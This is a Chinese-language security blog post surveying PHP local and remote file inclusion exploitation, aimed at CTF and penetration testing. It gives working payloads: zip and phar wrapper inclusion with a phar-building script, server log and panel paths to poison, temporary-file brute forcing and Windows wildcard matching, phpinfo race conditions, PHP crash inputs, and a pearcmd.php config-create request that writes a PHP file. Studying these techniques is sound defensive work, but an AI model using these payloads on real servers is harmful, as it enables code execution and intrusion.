0x00 简介

距离上次正儿八经的总结文件包含这个漏洞已经很久了,这里想写一下,针对于各种场景的文件包含漏洞的利用

0x01 场景归类

从代码层面归纳,实际场景中遇到的文件包含的基本只有如下几种情况

  • include $_REQUEST['file'];
  • include 'test/'.$_REQUEST['file'];
  • include $_REQUEST['file'].'.php'
  • include 'rest/'.$_REQUEST['file'].'.php'

目标系统可分为

  • linux环境(非docker)
  • docker环境
  • windows环境

对于文件操作也可分为

  • 可上传图片类文件
  • 不可上传

下面从不同环境的组合进行说明,以本地包含和远程包含为大类

远程包含

适用代码

1
2
include $_REQUEST['file'];
include $_REQUEST['file'].'.php'

需要php.ini开启

  • allow_url_fopen=on

  • allow_url_include=on

这种就很简单了,直接包含远程的文件即可,没有什么其他的限制

  • http/https(ftp没试)

1665386826889

这里需要注意的是如果去包含一个php文件,那么远程的php文件应该是echo输出需要执行的代码,不然就是解析的远程文件

还有输入流协议

  • php://input

两种情况测试如下

1665388019201

同样的,当允许远程包含的时候也可以使用data协议

  • data: text/plain; base64

1665388095929

本地包含

存在上传条件

当可以上传时,下列两种代码可以任意包含,不做讨论

1
2
include $_REQUEST['file'];
include 'test/'.$_REQUEST['file'];

00截断

限制条件

  • php<5.3
  • magic_quotes_gpc = off

在可以上传文件的web环境中,适用代码

1
2
include $_REQUEST['file'].'.php'
include 'rest/'.$_REQUEST['file'].'.php'

都可以用截断,只是有的没必要

1665387566841

伪协议

无限制,主要是用到压缩类协议,适用代码

1
include $_REQUEST['file'].'.php'
  • zip
  • phar

zip协议,就是将php文件进行压缩,然后按照常规网站的上传方式上传即可,此处以常规网站可上传图片文件为例

1
file=zip://./test.gif#test

1665388813371

phar协议的话,就先生成一个文件,生成代码如下

1
2
3
4
5
6
7
8
9
10
<?php 
$title = 'GIF89a';
$exception = '1';
$text = '<?php phpinfo();?>';
$phar = new Phar("test.phar");
$phar->startBuffering();
$phar->setStub("$title<?php__HALT_COMPILER(); ?>");
$phar->setMetadata($exception);
$phar->addFromString("test.php", $text); // 这里修改被包含的后缀
$phar->stopBuffering();

1665389333262

其实真实环境中这种利用方式还是很常见的

无法上传

当然在ctf的题目中,基本上都是围绕着无法上传来展开的,这里就不再考虑截断的问题

包含日志

这里列举下常用的日志位置

apache&linux

1
2
3
4
/var/log/apache2/access.log   //访问日志
/var/log/apache/access.log //访问日志
/var/log/apache2/error.log //错误日志
/etc/apache2/apache2.conf //当上面文件找不到时,可以通过此处的日志配置查看路径

nginx&linux

1
2
3
/var/log/nginx/access.log   //访问日志
/var/log/nginx/error.log //错误日志
/etc/nginx/nginx.conf //当上面文件找不到时,可以通过此处的日志配置查看路径

宝塔面板

1
2
3
4
5
6
7
/www/wwwlogs/access.log      //面板运行日志
/www/server/nginx/access.log //nginx日志
/www/server/apache/access.log //apache日志
/www/server/nginx/error.log //nginx错误日志
/www/server/apache/error.log //apache错误日志
/www/server/nginx/conf/nginx.conf //nginx配置文件
/www/server/apache/conf/httpd.conf //apache配置文件

小皮面板

这里注意apache和nginx的版本

1
2
3
4
5
6
7
8
WEBROOT/../../Extensions/Apache2.4.39/conf/httpd.conf    //apahce配置文件
WEBROOT/../../Extensions/Apache2.4.39/logs/access.log //apahce日志
WEBROOT/../../Extensions/Apache2.4.39/logs/access.log.1665360000 //时间戳为早八点
WEBROOT/../../Extensions/Apache2.4.39/logs/error.log //apahce错误日志

WEBROOT/../../Extensions/Nginx1.15.11/conf/nginx.conf //nginx配置文件
WEBROOT/../../Extensions/Nginx1.15.11/logs/access.log //nginx日志
WEBROOT/../../Extensions/Nginx1.15.11/logs/error.log //nginx错误日志

WAMP

适用代码

1
2
include $_REQUEST['file'];
include 'test/'.$_REQUEST['file'];

测试环境小皮面板

1665392561924

1665392602873

包含缓存文件

在PHP中,当我们对任意一个PHP文件发送一个上传的数据包请求时,无论后端是否会处理$_FILES变量,PHP都会将我们上传的数据保存到一个临时文件中以待处理,当这个PHP文件被正常执行完成时,这个临时文件会被删除,如果PHP进程被阻断,则这个缓存文件会被留在临时目录中。

所以当我们向存在文件包含文件发送一个上传的请求时,当执行到include代码时,此时的缓存文件是存在系统的临时目录中的

在不修改php.ini的情况下,一般存在于系统的临时目录

  • Windows:C:/windows/temp或者C:/windows
  • Linux:/tmp

1665393801326

这里关于缓存文件的名字

  • linux下为php加六位随机字符:php000000-phpFFFFFF(phpffffff)
  • windows下随机字符的长度最多位四位,windows不区分大小写,缓存文件按顺序递增,到ffff之后重新循环
    • php0.tmp-phpf.tmp
    • php00.tmp-phpff.tmp
    • php000.tmp-phpfff.tmp
    • php0000.tmp-phpffff.tmp
windwos下利用

适用代码

1
2
include $_REQUEST['file'];
include 'test/'.$_REQUEST['file']; //如果不在一个盘符下,不可使用

windows下肯定是可以直接爆破的,直接构造多个上传文件

1665394022116

直接去爆破就可以了,就爆888

不到一分钟

1665394146471

除此之外,windows下还可以使用通配符

之前关于file_get_contents就经常用到

PHP在读取Windows文件时,会使用到FindFirstFileExW这个Win32 API来查找文件,而这个API是支持使用通配符的:这里提到的通配符是?*

但是实际测试后,其实这两个是没有办法用的,在在MSDN官方文档中还可以看到这样的说明

1665394498847

这三个分别是

1
2
3
#define DOS_STAR        (L'<')
#define DOS_QM (L'>')
#define DOS_DOT (L'"')

也就是说:

  • DOS_STAR:即 <,匹配0个以上的字符
  • DOS_QM:即>,匹配1个字符
  • DOS_DOT:即",匹配点号

可以直接用<>来进行匹配,当然这也有缺陷,就是如果存在未删除的永久驻留的缓存,就匹配不到我们想要匹配的文件还是得爆破一下,如下就没有匹配到想要的文件

1
file=C:/Windows/php>>>>">>>

1665394928006

稍微改动一下就可以

1665394990496

至于<<,也匹配不到

1665395068369

要想精确匹配,也需要长度正好

1
file=C:/Windows/php1<<<<<<<

1665395196592

linux下利用

利用phpinfo页面

适用代码

1
2
include $_REQUEST['file'];
include 'test/'.$_REQUEST['file'];

主要也是用phpinfo里面的临时文件的路径

当我们向一个phpinfo页面,提供上传的数据包时,phpinfo页面会记录下php生成的缓存文件路径

1665989072519

这个文件名也是这一次请求里的临时文件,在这次请求结束后这个临时文件就会被删掉,并不能在后面的文件包含请求中使用

所以此时需要利用到条件竞争,原理也好理解——我们用两个以上的线程来利用,其中一个发送上传包给phpinfo页面,并读取返回结果,找到临时文件名;第二个线程拿到这个文件名后马上进行包含利用

在p神的文章中提到三个提高成功率的方法,复制了。

  • 使用大量线程来进行第二个操作,来让包含操作尽可能早于临时文件被删除
  • 如果目标环境开启了output_buffering这个配置(在某些环境下是默认的),那么phpinfo的页面将会以流式,即chunked编码的方式返回。这样,我们可以不必等到phpinfo完全显示完成时就能够读取到临时文件名,这样成功率会更高
  • 我们可以在请求头、query string里插入大量垃圾字符来使phpinfo页面更大,返回的时间更久,这样临时文件保存的时间更长。但这个方法在不开启output_buffering时是没有影响的。

利用脚本地址

1665990743290

session.upload_progress与Session文件包含

适用代码

1
2
include $_REQUEST['file'];
include 'test/'.$_REQUEST['file'];

这个之前写过,就不重复了

利用PHP_SESSION_UPLOAD_PROGRESS进行文件包含

利用PHP crash

适用代码

1
include $_REQUEST['file'];

原理就是当php在请求结束之前,出现异常直接退出,那么上传数据包中的文件,将会被留在服务器上

p神博客中提到了两个

1
2
3
include 'php://filter/string.strip_tags/resource=/etc/passwd';

file(urldecode('php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAFAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA'));

最后再去爆破文件即可

利用nginx缓存

适用代码

1
2
include $_REQUEST['file'];
include 'test/'.$_REQUEST['file'];

这种情况比较极端,但是不一定是在极端的情况下才能用,正常情况下也可以

具体可以参考hxp CTF 2021 - A New Novel LFI

pearcmd.php利用

适用代码

1
2
include $_REQUEST['file'].".php";
include 'test/'.$_REQUEST['file'].".php";

限制条件

  • docker

新拉取一个全新的docker环境

1
2
docker pull php:7.4-apache
docker run -itd -v /data/src:/var/www/html -p 80:80 php:7.4-apache

进入容器,查找一下所有的php文件

1
2
docker exec -it "id" bash
find / -name "*.php"

可以从这些文件中查找是否存在利用的点

压缩下载

1
2
find / -name "*.php" > /tmp/php.txt
tar -T /tmp/php.txt -czvf /var/www/html/php.tar.gz

这里主要看到两个可操作文件,最终能操作的只有pearcmd.php

  • pearcmd.php
  • run-test.php(自己编译的可能还有server-test.php)

当然,这两个文件都是需要在命令行操作的,但是在某些条件下,web可以操作argv

  • register_argc_argv->on

这就是为啥要求docker的原因,因为在php.ini中这个参数是默认关闭的,但是在doker中的php环境默认没有使用php.ini启动,所以是开启的

1665995650389

当开启了这个选项,用户的输入将会被赋予给$argc$argv$_SERVER['argv']几个变量

当php以server的形式运行,且开启了这个变量,php的处理代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
static zend_bool php_auto_globals_create_server(zend_string *name)
{
if (PG(variables_order) && (strchr(PG(variables_order),'S') || strchr(PG(variables_order),'s'))) {
php_register_server_variables();

if (PG(register_argc_argv)) {
if (SG(request_info).argc) {
zval *argc, *argv;

if ((argc = zend_hash_find_ex_ind(&EG(symbol_table), ZSTR_KNOWN(ZEND_STR_ARGC), 1)) != NULL &&
(argv = zend_hash_find_ex_ind(&EG(symbol_table), ZSTR_KNOWN(ZEND_STR_ARGV), 1)) != NULL) {
Z_ADDREF_P(argv);
zend_hash_update(Z_ARRVAL(PG(http_globals)[TRACK_VARS_SERVER]), ZSTR_KNOWN(ZEND_STR_ARGV), argv);
zend_hash_update(Z_ARRVAL(PG(http_globals)[TRACK_VARS_SERVER]), ZSTR_KNOWN(ZEND_STR_ARGC), argc);
}
} else {
php_build_argv(SG(request_info).query_string, &PG(http_globals)[TRACK_VARS_SERVER]);
}
}

} else {
zval_ptr_dtor_nogc(&PG(http_globals)[TRACK_VARS_SERVER]);
array_init(&PG(http_globals)[TRACK_VARS_SERVER]);
}
...

这里可以看出,HTTP数据包中的query-string会被作为argv的值

但是只能是$_SERVER['argv']的值

测试代码

1
2
3
4
<?php
var_dump($argv);
var_dump($_SERVEr['argv']);
?>

1665996554666

看一下pearcmd.php中是怎么获取argv参数的

这里就是从$_SERVER中获取的

1665996858250

看一下pearcmd中可以用的命令参数

  • config-create

1665996928900

这个命令的操作代码如下

1665997452858

需要第一个root参数的第一个字符是/

第二个参数就是文件名字

直接构造

1
/lfi.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo();?>+/tmp/hello.php

1665997524288

然后再包含这个文件就可以,或者直接写到可执行的目录下

伪协议+过滤器

适用代码

1
include $_REQUEST['file'].".php";

这里主要就是协议可控

这个之前也写过了linux下无文件本地文件包含

为什么说linux呢,ubuntu或者centos测试过都是可以用的

但是windows下,默认的编码集,部分可能不存在,所以导致无法利用

这种同样适合写文件,在极致cms中就存在这种漏洞的利用

这个很强

0x02 end

参考文章